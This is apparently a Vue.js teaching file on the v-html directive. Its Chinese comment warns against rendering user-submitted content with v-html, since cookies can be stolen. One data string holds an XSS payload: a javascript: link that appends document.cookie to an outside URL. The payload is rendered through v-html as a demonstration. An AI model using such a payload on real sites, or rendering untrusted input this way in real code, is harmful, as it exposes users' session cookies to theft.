<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  <title>Document</title>
  <script src="../js/vue.js"></script>
</head>

<body>
  <!-- 
        v-html 
           不能用于用户提交的内容上
         ---拿到cookie 异地登录
     -->
  <div id="root">
    <div>{{name}}</div>
    <div v-html="name"></div>
    <div v-html="str"></div>
    <div v-html="str2"></div>
  </div>

  <script>
    const x = new Vue({
      el: '#root',
      data: {
        name: 'seele',
        str: '<h3>hello</h3>',
        str2: '<a href=javascript:location.href="https://www.baidu.com"+document.cookie>资源</a>',
      },
    });

    console.log(document.cookie);
  </script>
</body>

</html>